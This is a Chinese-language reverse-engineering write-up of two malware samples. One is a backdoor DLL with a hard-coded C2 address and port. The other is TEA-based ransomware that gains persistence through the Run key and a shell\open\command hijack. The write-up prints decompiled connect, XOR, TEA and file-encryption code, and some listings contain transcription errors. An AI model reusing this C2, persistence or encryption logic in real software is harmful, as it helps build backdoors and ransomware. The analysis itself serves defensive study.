


vir1

0x01 基础信息

win10 ida x32dbg



```
8 BLOCK "StringFileInfo"
9 {
10     BLOCK "080403a8"
11     {
12         VALUE "CompanyName", "TODO: <公司名>"
13         VALUE "FileDescription", "TODO: <文件说明>"
14         VALUE "FileVersion", "1.0.0.1"
15         VALUE "InternalName", "LsCommDemo.exe"
16         VALUE "LegalCopyright", "TODO: (C) <公司名>。保留所有权利。"
17         VALUE "OriginalFilename", "LsCommDemo.exe"
18         VALUE "ProductName", "TODO: <产品名>"
19         VALUE "ProductVersion", "1.0.0.1"
20     }
21 }
22 }
```

0x02 详细分析

运行无界面，动调就在 `_CxxThrowException` 循环无法向下运行，考虑是调试器对异常的处理不同，最后换了工具->od，可以调试了，在代码中看到pe标识，猜测是有动态解密pe文件的，

76F600B4	55	push ebp	
76F600B5	FF75 10	push dword ptr ss:[ebp+0x10]	
76F600B8	8B4D 10	mov ecx,dword ptr ss:[ebp+0x10]	
76F600BB	8B4D FC	mov ebp,dword ptr ss:[ebp+0x4]	
76F600BE	E8 80680100	call nsuvert.76F77950	
76F600C2	54	push esi	
76F600C4	52	push edi	
76F600C5	F100	call eax	virt.0040010B
76F600C7	58	pop edi	
76F600C8	5C	pop esi	
76F600C9	80DD	mov ebx,ebp	
76F600CB	5D	pop ebp	0019E534
76F600CC	8B4D 10	mov ecx,dword ptr ss:[ebp+0x10]	
76F600CD	55	push ebp	
76F600D0	80EB	mov ebp,ebx	
76F600D2	81F9 00010000	cmp ecx,0x100	
76F600D8	75 05	jnz short nsuvert.76F600DF	
76F600DA	8B 02000000	mov ecx,0x2	
76F600DF	51	push ecx	
76F600E0	E8 68680100	call nsuvert.76F77950	
76F600E5	5D	pop ebp	0019E534
76F600E6	59	pop ecx	0019E534
76F600E7	5B	pop ebx	0019E534
76F600E8	C9	leave	
76F600E9	C2 8C00	ret 0xC	

地址	HEX 数据	ASCII	
004120B0	69 61 6C 45 78 63 65 70 74 69 6F 6E 40 40 00 00	!alExceptionDe...	0019E
004120B8	A8 F8 40 00 00 00 00 00 2E 50 41 44 00 00 00 00	@.....PAD....	0019E
004120C0	74 68 69 73 20 60 65 74 68 6F 72 64 20 69 73 20	this method is	0019E
004120D0	6F 6E 6E 70 20 75 73 65 64 20 66 67 72 20 40 64	only used for ha	0019E
004120E0	6E 75 61 6C 51 75 65 72 79 40 6F 64 65 21 00 00	nalQueryMode...	0019E
004120F0	43 61 6E 27 74 20 75 73 65 20 47 65 74 49 6E 70	Can't use GetInp	0019E
00412100	75 74 20 60 65 74 68 6F 72 64 20 69 6E 20 74 68	ut method in th	0019E
00412110	69 73 20 60 6F 64 65 21 00 00 00 00 6F 68 00 00	is mode....ok..	0019E
00412120	43 72 65 61 74 65 54 68 72 65 61 64 20 66 61 69	CreateThread fai	0019E
00412130	6C 65 64 2E 00 00 00 00 77 77 77 2E 6A 69 6E 6A	led....www.jin]	0019E
00412140	69 6E 2E 63 6F 60 00 00 00 00 00 00 00 00 00 00	in.con.....?.	0019E
00412150	95 26 00 00 00 50 00 00 00 00 00 00 00 00 00 00	..H2? ...[...	0019E
00412160	FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	jjj-?....@...	0019E
00412170	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	0019E
00412180	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	0019E
00412190	10 01 00 00 0E 1F 00 0E 00 04 09 CD 21 08 01 40	PE..L f!.劫站....	0019E

解密出dll调用导出函数

异或解密出dll文件，412154-41f154

```

~ ~
70
70 loc_40AA70:                                ; DATA XREF: .rdata:stru_410078+0
70 ; catch(...) // owned by 40AA60           ; 解密出的dll地址-» eax
70      mov     eax, [ebp+arg_0]
73      mov     cl, byte ptr [ebp+arg_8+3]
76      mov     dl, [eax]
78      xor     dl, cl
7A      add     dl, cl
7C      mov     [eax], dl
7E      inc     eax
7F      mov     [ebp+arg_0], eax
82      mov     eax, offset loc_40AA88
87      ret
88 ;

```

解密出的dll 1000000地址处，文件对齐 内存对齐大小相同，头 区段 分别赋值过去

10000000	4D 5A 90 00	03 00 00 00	04 00 00 00	FF FF 00 00	H2? ...[...jjj..
10000010	B8 00 00 00	00 00 00 00	40 00 00 00	00 00 00 00	?.....@.....
10000020	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
10000030	00 00 00 00	00 00 00 00	00 00 00 00	10 01 00 00
10000040	0E 1F BA 0E	00 B4 09 CD	21 B8 01 4C	CD 21 54 68	■■?..???L?Th
10000050	69 73 20 70	72 6F 67 72	61 6D 20 63	61 6E 6E 6F	is program canno
10000060	74 20 62 65	20 72 75 6E	20 69 6E 20	44 4F 53 20	t be run in DOS
10000070	6D 6F 64 65	2E 0D 0D 0A	24 00 00 00	00 00 00 00	mode....\$.....
10000080	E5 8C 83 85	A1 ED ED D6	A1 ED ED D6	A1 ED ED D6	錯傑No碇No碇No碇
10000090	97 CB E6 D6	A3 ED ED D6	97 CB E9 D6	A3 ED ED D6	梁樑m碇梁樑m碇
100000A0	DA F1 E1 D6	A2 ED ED D6	CE F2 E6 D6	A0 ED ED D6	陳嶺(碇)碇信懣忒碇
100000B0	22 F1 E3 D6	A5 ED ED D6	CE F2 E7 D6	A5 ED ED D6	“青芝碇治婢芝碇?”
100000C0	CE F2 E9 D6	A3 ED ED D6	A1 ED ED D6	A0 ED ED D6	信樑m碇No碇忒碇
100000D0	A1 ED EC D6	65 ED ED D6	62 E2 B0 D6	B0 ED ED D6	No碇e碇讀境取碇?”
100000E0	7B CE F1 D6	A0 ED ED D6	49 F2 E6 D6	A8 ED ED D6	《務認碇諭蜴肢碇?”
100000F0	49 F2 E9 D6	A0 ED ED D6	52 69 63 68	A1 ED ED D6	I螻認碇讀ichNo碇
10000100	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
10000110	50 45 00 00	4C 01 04 00	84 B6 D4 61	00 00 00 00	PE..L f!.劫站....

修复导入表

dll分析

x32dbg 加载run32dll.exe 命令行"C:\Windows\SysWOW64\rundll32.exe"
C:\tools\1.dll fuckyou, f9运行, 加载dll之后, 在导出函数下断, 断下来后分析。

```
__DWORD * __thiscall sub_10001ACA(_DWORD *this)
{
    HANDLE v2; // eax
    size_t v3; // eax
    struct WSADATA WSADATA; // [esp+8h] [ebp-1B8h] BYREF
    _DWORD *v6; // [esp+198h] [ebp-28h]
    char Str[20]; // [esp+19Ch] [ebp-24h] BYREF
    char Src[3]; // [esp+1B0h] [ebp-10h] BYREF
    int v9; // [esp+1BCh] [ebp-4h]

    v6 = this;
    sub_10001000(this + 1);
    v9 = 2;
    sub_10001000(this + 5);
    sub_10001000(this + 9);
    sub_10001000(this + 13);
    *this = off_10008310;
    WSASStartup(0x202u, &WSADATA);
    v2 = CreateEventA(0, 1, 0, 0);
    this[18] = -1;
    this[19] = v2;
    *((_BYTE *)this + 83) = 0;
    qmemcpy(Src, "JIN", sizeof(Src));
    memcpy(this + 20, Src, 3u);
    strcpy(Str, "EwinhProtocolHosty");
    v3 = strlen(Str);
    sub_100018AD(&unk_1000C1A4, Str, v3); // 解密数据
    return this;
}

sprintf(ServiceName, Format, ServiceName);
strcpy((char *)&ServiceStartTable, "ConnectGroup");
sub_1000467B((int)ServiceName, (int)&ServiceStartTable, &String, 0x400u);
if ( !strlenA(&String) )
{
    sub_10002EA4((int)ServiceName, aDefault);
    sub_1000546B((int)ServiceName);
}
v4 = (void *)sub_10006B8B(0, 0, (int)sub_10005A0F, 0, 0, 0);
WaitForSingleObject(v4, 0xFFFFFFFF);
CloseHandle(v4);
while ( 1 )
    Sleep(0xF4240u);
}
v14.dwOSVersionInfoSize = 156;
GetVersionExA(&v14);
sub_1000505B(&v14.dwMajorVersion, &v14.dwMinorVersion, &v14.dwBuildNumber);
if ( v14.dwMajorVersion == 10 && !v14.dwMinorVersion )
{
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, 0, 0, 0);
    v1 = (void *)sub_10006B8B(0, 0, (int)sub_10005A0F, 0, 0, 0); // 这
    WaitForSingleObject(v1, 0xFFFFFFFF);
    CloseHandle(v1);
    while ( 1 )
        Sleep(0xF4240u);
}
result = byte_1000AFD8;
if ( byte_1000AFD8 == 2 )
{
    if ( sub_10006AB6() )
    {
        ServiceStartTable.lpServiceName = ServiceName;
        ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_10005E8B;
        v16 = 0;
        v17 = 0;
        Sleep(500u);
        StartServiceCtrlDispatcherA(&ServiceStartTable);
        Sleep(0x3E8u);
        StartServiceCtrlDispatcherA(&ServiceStartTable);
    }
    else
    {
        ExpandEnvironmentStringsA(Src, Dst, 0x104u);
    }
}
00006478 fuckyou:61 (10006478)
```

一直在循环中无法跳出，改流程往后分析，10005b00 je 改流程zf=1

```
v4 = str;
while ( 1 ) // so
{
    while ( 1 )
    {
        if ( dword_1000C84C ) // 0
        {
            sub_100020AD((int)v21);
            goto LABEL_23;
        }
        String1 = 0;
        *(_DWORD *)hostshort = 0;
        memset(v10, 0, sizeof(v10));
        v11 = 0;
        v12 = 0;
        if ( v1 )
        {
            Destination = 0;
            String = 0;
            memset(v18, 0, sizeof(v18));
            v19 = 0;
            v20 = 0;
            memset(v14, 0, sizeof(v14));
            v15 = 0;
            v16 = 0;
            if ( strstr(v1, Control) )
            {
                v2 = strcspn(v1, Control);
                strncpy(&Destination, v1, v2);
                v3 = strcspn(v1, Control);
                strcpy(&String, &v1[v3 + 1]);
                lstrcatA(&String1, &Destination);
                *(_DWORD *)hostshort = atoi(&String);
            }
        }
        else
        {
            *(_DWORD *)hostshort = (unsigned __int16)word_1000ABC4;
            lstrcatA(&String1, a15491159105);
        }
        if ( strcmp(&String1, byte_1000C1A0) )
        {
            // ...
        }
    }
}
```

vir1_1

拼接ip 端口

ip:. 154.91.159.105 端口8000 都明文存储在pe中的

socket连接:

```

SOCKET v7; // [esp-24h] [ebp-54h]
SOCKET v8; // [esp-14h] [ebp-44h]
struct sockaddr v9; // [esp+Ch] [ebp-24h] BYREF
int vInBuffer[3]; // [esp+1Ch] [ebp-14h] BYREF
DWORD cbBytesReturned; // [esp+28h] [ebp-8h] BYREF
char optval[4]; // [esp+2Ch] [ebp-4h] BYREF

sub_100020AD(this);
ResetEvent(*(HANDLE *)(this + 76));
*(_BYTE *)(this + 83) = 0;
v4 = socket(2, 1, 6);
*(_DWORD *)(this + 72) = v4;
if ( v4 == -1 )
    return 0;
v5 = gethostbyname(name);
if ( !v5 )
    return 0;
v9.sa_family = 2;
*(_WORD *)v9.sa_data = htons(hostshort);
*(_DWORD *)&v9.sa_data[2] = **(_DWORD **)v5->h_addr_list;
if ( connect(*(_DWORD *)(this + 72), &v9, 16) == -1 )
    return 0;
v8 = *(_DWORD *)(this + 72);
*(_DWORD *)optval = 1;
if ( !setsockopt(v8, 0xFFFF, 8, optval, 4) )
{
    v7 = *(_DWORD *)(this + 72);
    vInBuffer[0] = 1;
    vInBuffer[1] = 180000;
    vInBuffer[2] = 5000;
    WSAIocctl(v7, 0x98000004, vInBuffer, 0xCu, 0, 0, &cbBytesReturned, 0, 0);
}
*(_BYTE *)(this + 83) = 1;
*(_DWORD *)(this + 68) = sub_1000688B(0, 0, (int)sub_10001D5F, this, 0, 0);
return 1;
}

```

```

int __stdcall sub_10001D5F(int a1)
{
    int v1; // eax
    int v2; // eax
    int v3; // edi
    char buf[8192]; // [esp+Ch] [ebp-2208h] BYREF
    fd_set readfds; // [esp+200Ch] [ebp-208h] BYREF
    int v7[65]; // [esp+2110h] [ebp-104h] BYREF

    v1 = *(_DWORD *)(a1 + 72);
    v7[0] = 1;
    v7[1] = v1;
    if ( sub_10001E45((_BYTE *)a1) )
    {
        while ( 1 )
        {
            qmemcpy(&readfds, v7, sizeof(readfds));
            v2 = select(0, &readfds, 0, 0, 0);
            if ( v2 == -1 )
                break;
            if ( v2 > 0 )
            {
                memset(buf, 0, sizeof(buf));
                v3 = recv(*(_DWORD *)(a1 + 72), buf, 0x2000, 0);
                if ( v3 <= 0 )
                    break;
                sub_100019F8(buf, v3, 373);
                sub_10001E49(a1, buf, v3); // send
            }
            if ( !sub_10001E45((_BYTE *)a1) )
                return -1;
        }
        sub_100020AD(a1);
    }
    return -1;
}

```

vir1_2

recv接收失败，无法继续向下分析，如果接收到数据，对buf进行异或解密

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	192.168.141.128	154.91.159.105	TCP	66	49801 → 8000 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_
2	0.048646	154.91.159.105	192.168.141.128	TCP	60	8000 → 49801 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
3	0.048856	192.168.141.128	154.91.159.105	TCP	54	49801 → 8000 [ACK] Seq=1 Ack=1 Win=64240 Len=0
35	176.107450	192.168.141.128	154.91.159.105	TCP	625	49801 → 8000 [PSH, ACK] Seq=1 Ack=1 Win=64240 Len=571
36	176.108315	154.91.159.105	192.168.141.128	TCP	60	8000 → 49801 [ACK] Seq=1 Ack=572 Win=64240 Len=0
48	195.332329	154.91.159.105	192.168.141.128	TCP	60	8000 → 49801 [RST, ACK] Seq=1 Ack=572 Win=64240 Len=0

```
int __cdecl sub_100019F8(int a1, int a2, int a3)
{
    int v3; // ecx
    unsigned __int16 v4; // si
    char v5; // al

    v3 = 0;
    v4 = 0;
    for ( HIWORD(a3) = a3; v3 < a2; ++v3 )
    {
        if ( v4 == 1 )
            v4 = 0;
        v5 = (*(__BYTE *) (v3 + a1) - 122) ^ ((*(__BYTE *)&a3 + 2 * v4++ + 2);
        *(__BYTE *) (v3 + a1) = v5;
    }
    return a1;
}
```

```
v13 = Size;
result = operator new(Size);
v6 = (int)result;
v14 = result;
if ( !result )
    return result;
memcpy(result, Src, Size);
sub_10001A38(v6, v13);
memcpy(v10, &unk_1000C1A4, sizeof(v10));
v7 = v13;
sub_10001943((int)v10, (int)v14, v13);
v12 = v7 + 15;
sub_1000104C(v4, (void *) (this + 80), 3u);
sub_1000104C(v4, &v12, 4u);
sub_1000104C(v4, &Size, 4u);
v11 = 1;
sub_1000104C(v4, &v11, 4u);
sub_1000104C(v4, v14, v7);
operator delete(v14);
v14 = operator new(Size);
memcpy(v14, Src, Size);
sub_100012F1((__DWORD *) (this + 52));
sub_1000104C((void **) (this + 52), v14, Size);
if ( v14 )
    operator delete(v14);
}
else
{
    sub_1000104C(v4, (void *) (this + 80), 3u);
    sub_100012F1((__DWORD *) (this + 52));
    sub_1000104C((void **) (this + 52), (void *) (this + 80), 3u);
}
v9 = sub_10001145(v4);
v8 = sub_10001317(v4, 0);
return (void *) sub_1000227A((SOCKET *) this, v8, v9, 0x2000); // send
}
```

```

int __thiscall sub_1000227A(SOCKET *this, int a2, int a3, int len)
{
    int v6; // eax
    int v7; // ebx
    int v8; // eax
    int result; // eax
    char *buf; // [esp+Ch] [ebp-8h]
    int v11; // [esp+10h] [ebp-4h]
    int i; // [esp+1Ch] [ebp+8h]
    int lena; // [esp+24h] [ebp+10h]

    sub_100019BD(a2, a3, 373);
    v11 = 0;
    buf = (char *)a2;
    for ( i = a3; i >= (unsigned int)len; i -= len )
    {
        for ( lena = 0; lena < 15; ++lena )
        {
            v6 = send(this[18], buf, len, 0);
            if ( v6 > 0 )
                break;
        }
        if ( lena == 15 )
            return -1;
        v11 += v6;
        buf += len;
        Sleep(0xAu);
    }
    v7 = 0;
    if ( i <= 0 )
    {
LABEL_12:
        result = v11;
        if ( v11 == a3 )
            return result;
    }
}
000022B0: sub_1000227A:16 (100022B0)

```

但是不修改寄存器值改流程，程序就一直在循环中判断，没有socket连接，

遍历盘符 查找杀软等相关进程

```

Str[147] = asc_100082B4;
Str[148] = aMpmonExe;
Str[149] = asc_10008298;
Str[150] = aPfwExe;
Str[151] = asc_10008284;
Str[152] = aSExe;
Str[153] = asc_10008274;
Str[154] = a1433Exe;
Str[155] = a1433;
Str[156] = aDubExe;
Str[157] = asc_1000824C;
Str[162] = asc_10008248;
Str[163] = asc_10008248;
Str[158] = aServudaemonExe;
Str[159] = aSU;
Str[160] = aBaidusdsvcExe;
Str[161] = asc_10008214;
memset(v9, 0, sizeof(v9));
v1 = LoadLibraryA(aKernel32Dll_0);
hLibModule = v1;
CreateToolhelp32Snapshot = (HANDLE (__stdcall *) (DWORD, DWORD))GetProcAddress(v1, aCreatetoolhelp);
Process32First = (BOOL (__stdcall *) (HANDLE, LPPROCESSENTRY32))GetProcAddress(v1, aProcess32first);
Process32Next = (BOOL (__stdcall *) (HANDLE, LPPROCESSENTRY32))GetProcAddress(v1, aProcess32next);
hObject = CreateToolhelp32Snapshot(2, 0);
if ( hObject )
{
    v6[0] = 296;
    if ( !strstr(Str[0], asc_1000A968) )
    {
        v3 = (LPCSTR *)Str;
        do
        {
            for ( i = Process32First(hObject, (LPPROCESSENTRY32)v6); i; i = Process32Next(hObject, (LPPROCESSENT

```

这应该是根据控制码执行不同操作


```


if ( v4 <= 0x6A )
{
    if ( *(unsigned __int8 *)Src < 0x65u )
    {
        switch ( *(_BYTE *)Src )
        {
            case 0:
                sub_10002C7E(*(unsigned __int8 *)Src + 1);
                return;
            case 1:
                sub_100038F3(v14, v15);
            case 2:
                sub_10002E77((int)ServiceName, (LPCSTR)Src + 1);
                return;
            case 3:
                sub_10002EA4((int)ServiceName, (LPCSTR)Src + 1);
                return;
            case 4:
                sub_10002CEA(*(_BYTE *)Src + 1);
                return;
            case 5:
                this[this[1004]++ + 4] = sub_10006B8B(0, 0, (int)sub_1000354C, (int)Src + 1, 0, 0);
                Sleep(0x64u);
                return;
            case 6:
                v6 = sub_10006B8B(0, 0, (int)sub_100035EA, (int)Src + 1, 0, 0);
                goto LABEL_41;
            case 7:
                sub_1000333C((char *)Src + 1, 1);
                return;
            case 8:
                sub_1000333C((char *)Src + 1, 0);
                return;
        }
    }
}

```

vir2

0x01基础静态分析

无壳




字符串：释放的文件名，勒索信息等，自启动相关的注册表，自删除

```
2388 0000000b A MessageBoxA
2396 00000010 A DispatchMessageA
23a8 0000000e A DefWindowProcA
23b8 0000000f A CreateWindowExA
23ca 0000000a A BeginPaint
2600 00000020 A xmXMupUPggGG8383!, fuckxmXMupUP!
2621 0000000b A puppydogger
2643 00000013 A HH3947Qp62mMBq.exe
265e 00000018 A HOW TO DECRYPT FILES.txt
2693 00000027 A Files have been decrypted successfully!
26c3 00000006 A Error!
26e1 00000016 A Password is incorrect!
277a 00000030 A To decrypt files, please enter correct password!
27ec 00000047 A You have reached a limit of attempts - your data is irrevocably broken.
28d9 0000009f A Entered password is correct. Press OK to start decrypting of files. Dont close
2979 00000006 A REG_SZ
2980 0000000c A \DefaultIcon
298d 00000013 A \shell\open\command
29a6 0000002d A SOFTWARE\Microsoft\Windows\CurrentVersion\Run
29d4 00000008 A AlmALMer
29dd 0000000c A explorer.exe
29ea 00000008 A CRYPTED!
```


运行:

第一次运行

所有文件加密后，弹窗



非第一次运行，弹窗后确定或关闭后




猜测输入密码就可以解密文件

0x02 详细分析


sub_401f87: 利用bitmap资源解密出文件后缀名，勒索信息等

读取id=2: bitmap资源16字节 作为参数




vir2_1:

解密出文件后缀名，这些是被加密文件类型，勒索信息字符串，




```
7 if ( !v3 )
8     goto LABEL_9;
9 v4 = v3;
10 RtlMoveMemory(&word_406D89, v3, 16);
11 v4 += 4;
12 sub_40211B(v4, v19 - 16); // 异或解密出文件后缀名，勒索信息的字符串
13 v5 = *v4;
14 v6 = v4 + 1;
15 v7 = HeapAlloc(hHeap, 8u, v5);
16 if ( !v7 )
17     goto LABEL_9;
18 dword_407519 = (int)v7;
19 RtlMoveMemory(v7, v6, v5); // 大小17f 把解密出的文件后缀名复制过去
20 v8 = (SIZE_T *)((char *)v6 + v5);
21 v9 = *v8; // 1c3
22 v10 = v8 + 1; // 指向勒索信息
23 v11 = (const CHAR *)HeapAlloc(hHeap, 8u, v9);
24 if ( !v11 )
25     goto LABEL_9;
26 lpText = v11;
27 RtlMoveMemory(
28     v11,
29     v10,
30     v9), // lpText指向勒索信息字符串
31 v12 = (SIZE_T *)((char *)v10 + v9),
32 v13 = *v12,
33 v14 = v12 + 1,
34 (v15 = (const CHAR *)HeapAlloc(hHeap, 8u, v13)) == 0 )
35 {
36     LABEL_9:
37     RtlMoveMemory(&word_402330,
38         lpSubKey = v15;
39     RtlMoveMemory(v15, v14, v13); // 解密出的字符串剩余部分分别复制到指定地址
40     v16 = (SIZE_T)v14 + v13;
41     RtlMoveMemory(&unk_406DC9, v16, 16);
42     v16 += 16;
43     RtlMoveMemory(&byte_407529, v16, 5);
44     v16 += 5;
45     RtlMoveMemory(byte_406DD9, v16, 16); // HH3947QP62mMBq.
46     v16 += 16;
47     RtlMoveMemory(byte_406DE9, v16, 16); // AOU1JJ3BNYUXWGN.
48     v16 += 16;
49     RtlMoveMemory(&word_407525, v16, 4);
```

(407529的值涉及到后面的执行流程)



之后拼接路径，将病毒自身复制到tmp目录下，文件名为HH3947QPp62mMBq



vir2_3

之后写入到注册表中实现自启动

(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run)

sub_402342: 设置shell\ope n\command达到自动执行的目的（实现运行被加密文件时自动执行vir2弹出勒索提示框）



之后获得盘符，进行文件加密

encrypt_file (sub_4013A8) 分析

遍历文件，排除filename为HH3947QPp62mMBq.exe, HOW TO DECRYPT FILES.txt，释放勒索信息HOW TO DECRYPT FILES.txt到当前目录下，拼接路径，判断后缀名是否符合条件，符合条件进行文件加密。

```

if ( lstrcmpA(asc_404034, &FindFileData[0x2C]) )// ..
{
    v1 = PathFindFileNameA((LPCSTR)&dword_40444F + 1);
    v13 = v1 - ((char *)&dword_40444F + 1);
    *v1 = 0;
    lstrcatA((LPCSTR)&dword_40444F + 1, &FindFileData[44]);
    v2 = lstrlenA((LPCSTR)&dword_40444F + 1);
    *(int *)((char *)&dword_40444F + v2 + 1) = ".*\\.\\\\"; // 遍历磁盘下的每个文件夹
    byte_404454[v2] = 0;
    ((void (__cdecl *) (int)) encrypt_file)(v13); // 递归调用
    *(int *)((char *)&dword_40444F + v14) = ".*\\.\\\\";
    byte_404453[v14] = 0;
}

e

ub_401377();
f ( lstrcmpA(String2, &FindFileData[44])// HH3947Qp62mBq.exe
&& lstrcmpA(aHowToDecryptF1, &FindFileData[44])// HOW TO DECRYPT FILES.txt
&& lstrcmpA(String1, &FindFileData[44]) )// 排除这些文件名


*PathFindFileNameA((LPCSTR)&dword_40444F + 1) = 0;
if ( byte_40752A == 1 )
    sub_40103A((LPCSTR)&dword_40444F + 1, &FindFileData[44]);
lstrcatA((LPCSTR)&dword_40444F + 1, &FindFileData[44]);
if ( byte_406550 != 1 )
{
    v3 = "(\\DWORD *)dword_407519; // 文件后缀名们
    v4 = (const CHAR *) (dword_407519 + 4);
    while ( 1 )
    {
        v15 = v3;
        v5 = PathMatchSpecA((LPCSTR)&dword_40444F + 1, v4); // 参数: 被加密文件的路径, 指向解密出的文件后缀名
        v4 += lstrlenA(v4) + 1; // 对指定后缀名的文件进行加密
        if ( v5 )
            break;
    }
}

```

vir2_4

利用dword_406595, dword_406585循环异或解密出密钥,

密钥: 00406585 : 86 7F 7F A8 C2 4D 5C 13 30 CB F9 5E 41 EF 4C 3F



第一次运行byte_406550为0, 执行sub_40177A函数, 可以看出是TEA算法 (magic:0x61C88647/0x9E3779B9)

```

unsigned int __fastcall sub_40177A@<eax> (unsigned int result@<eax>)
{
    unsigned int v1; // ebx
    char *v2; // esi

    v1 = result >> 3;
    if ( result >> 3 )
    {
        v2 = (char *)lpBuffer;
        do
        {
            result = sub_4017EC(v2, v2);
            v2 += 8;
            --v1;
        } while ( v1 );
    }
    return result;
}

```

```

{
    int v2; // ebx
    unsigned int v3; // eax
    unsigned int v4; // edx
    int v5; // ebx
    unsigned int v6; // eax
    unsigned int v7; // edx
    unsigned __int32 result; // eax


    v2 = 0;
    v3 = _byteswap_ulong(*a1);
    v4 = _byteswap_ulong(a1[1]);
    do
    {
        v5 = v2 - 0x61C88647;
        v6 = ((dword_406589 + (v4 >> 5)) ^ (v5 + v4) ^ (dword_406585 + 16 * v4)) + v3;
        v7 = ((dword_406591 + (v6 >> 5)) ^ (v5 + v6) ^ (dword_40658D + 16 * v6)) + v4;
        v2 = v5 - 0x61C88647;
        v3 = ((dword_406589 + (v7 >> 5)) ^ (v2 + v7) ^ (dword_406585 + 16 * v7)) + v6;
        v4 = ((dword_406591 + (v3 >> 5)) ^ (v2 + v3) ^ (dword_40658D + 16 * v3)) + v7;
    }
    while ( v2 != -1640531527 * dword_4065A5 );
    result = _byteswap_ulong(v3);
    *a2 = result;
    a2[1] = _byteswap_ulong(v4);
    return result;
}

```


vir2_2

动调：

SetFilePointer 移动指定文件的文件指针 指定要移动文件指针的字节数30（48字节）,加密文件48字节之后



从移动后的指针处读取指定文件大小 1b03e4



vir2 5

sub_401797函数是加密函数的逆过程，再根据byte_406550的值在Winproc中有写入，结合运行的行为猜测可能是输入password后的解密函数。


```
1
2
3 int v2; // ebx
4 unsigned int v3; // eax
5 unsigned int v4; // edx
6 unsigned int v5; // edx
7 unsigned int v6; // eax
8 int v7; // ebx
9 unsigned __int32 result; // eax
10
11 v2 = 0x9E3779B9 * dword_4065A5; // TEA算法
12 v3 = _byteswap_ulong(*a1);
13 v4 = _byteswap_ulong(a1[1]);
14 do
15 {
16     v5 = v4 - ((dword_406591 + (v3 >> 5)) ^ (v2 + v3) ^ (dword_40658D + 16 * v3));
17     v6 = v3 - ((dword_406589 + (v5 >> 5)) ^ (v2 + v5) ^ (dword_406585 + 16 * v5));
18     v7 = v2 + 0x61C88647;
19     v4 = v5 - ((dword_406591 + (v6 >> 5)) ^ (v7 + v6) ^ (dword_40658D + 16 * v6));
20     v3 = v6 - ((dword_406589 + (v4 >> 5)) ^ (v7 + v4) ^ (dword_406585 + 16 * v4));
21     v2 = v7 + 0x61C88647;
22 }
23 while ( v2 );
24 result = _byteswap_ulong(v3);
25 *a2 = result;
26 a2[1] = _byteswap_ulong(v4);
27 return result;
28 }
```

修改cmp后的zf标志位，或者直接修改jne为jmp，执行401797函数


```

29 --v8;
30 }
31 while ( v8 );
32 if ( byte_40752C )
33 {
34     if ( byte_406550 ) // 第一次运行不为0
35         ((void (*)(void))sub_401797)(); // TEA解密文件
36     else
37         ((void (*)(void))sub_40177A)(); // TEA加密文件
38 }
39 else
40 {
41     ...
42 }
```


解密前：



解密后：




TEA加密后的文件



00000000	2A BC F2 D2 AA C3 E8 CA F6 D2 BB CF C2 C4 E3 B5	*40C*AeE0C»IAAa
00000010	C4 B7 D6 CE F6 BB B7 BE B3 BA CD B7 D6 CE F6 B9	Ä-ÖiÖ»·%·í-ÖiÖ·
00000020	FD B3 CC A1 A3 0D 0A 2A C7 EB D4 DA 32 C0 F1 B0	ý·i;é *ÇeÖÜ2Äñ°
00000030	BF CA EC AD E9 78 3D DD FB 5E BA 87 0F 9A 07 E5	Ëi-éx=yü·+· s ä
00000040	4B 82 10 89 44 04 B7 96 49 B5 16 E3 00 8C 32 7D	K, %D --Ip ä Q2)
00000050	9C 9E 26 E4 24 A1 B7 D3 52 BD 61 91 6A E7 8B 2D	αZ&ä\$;·ÖR·a·jç<-
00000060	04 92 60 EC 73 E7 49 9E 9E CF 25 3D E9 FA 81 EB	'·isçIžžĩ&=éú ë
00000070	B7 A0 64 1A B3 9F DB FC D7 72 27 25 45 48 C2 4C	· d·yÜü>r·%EHÄL
00000080	9E 91 3C 85 7D 2B F1 75 34 6D B1 10 02 A2 DE 27	ž·'<...)+ñu4m± cß'
00000090	28 79 AA CD EE E8 37 51 60 D4 8E 5C 75 6F D8 DC	(y·íië7Q·ÖZ\üoöÜ
000000A0	66 4D 41 B5 A3 01 C0 51 C2 AE 97 FF 53 02 D3 B1	fMAµ£ ÄQÄ®-ýS Ö±
000000B0	52 57 C4 21 40 8F 07 DB A5 0B 4A D4 1E D3 84 D7	RWÄ!@ Üÿ JÖ Ö.,*
000000C0	25 44 68 3F 2C 6F 57 B0 C2 FB 1A A1 43 FB 7F 09	%Dh?,hW°iü ;Cü
000000D0	5F 21 53 77 85 79 EB 4A C2 6F C7 9A 69 C3 3A D0	!Sw...yëJÄoÇsiÄ:Ð
000000E0	76 D2 4B C8 3C 28 ED D5 44 C3 66 B3 E7 18 F0 FD	vÖKË<(ëÖDÄf·ç äý
000000F0	93 1A 5C C9 CC 08 4D 71 11 D5 1D 28 B5 43 2E A3	"·\Êi Mq Ö (µC.É
00000100	71 63 33 0C 6F B6 39 0A A6 48 37 4C 7A 95 99 AF	qç3 ç99 ;H7Lz·™/
00000110	9A AF 64 EB 35 20 DC 8B 51 24 0F 42 0E A1 F6 4F	ä·dëS Ü·Q\$ B ;ö
00000120	22 E9 F4 66 4B A1 08 A7 6A 10 0C 0C 6B 64 79 CA	"éöfK; \$j kdyË
00000130	01 92 80 F6 5C 17 13 CD 71 FB 03 C0 B4 01 EC 9B	'ëö\ íqü Ä· i>
00000140	F9 D1 F1 9B 52 C7 F1 E1 2C 0C DE 16 47 73 FB 74	üññ»RÇñÄ,Äß Gsüt
00000150	06 30 06 7C 52 8F 54 73 41 2F 4F 92 68 16 C6 6B	Ö R TsA/O'h %k
00000160	27 8D 79 51 6C 27 EF 41 E2 25 A3 1F 67 2B 05 58	' yQl·iÄÄ&£ g+ X

TEA解密：与源文件对比，相同。。



sub_401748: 异或加密

```

1 unsigned int __usercall sub_401748@<eax>(unsigned int result@<eax>)
2 {
3     unsigned int v1; // ecx
4     int *v2; // esi
5     unsigned int *v3; // edi
6     int v4; // edx
7     int v5; // eax
8
9     v1 = result >> 2;
10    if ( result >> 2 )
11    {
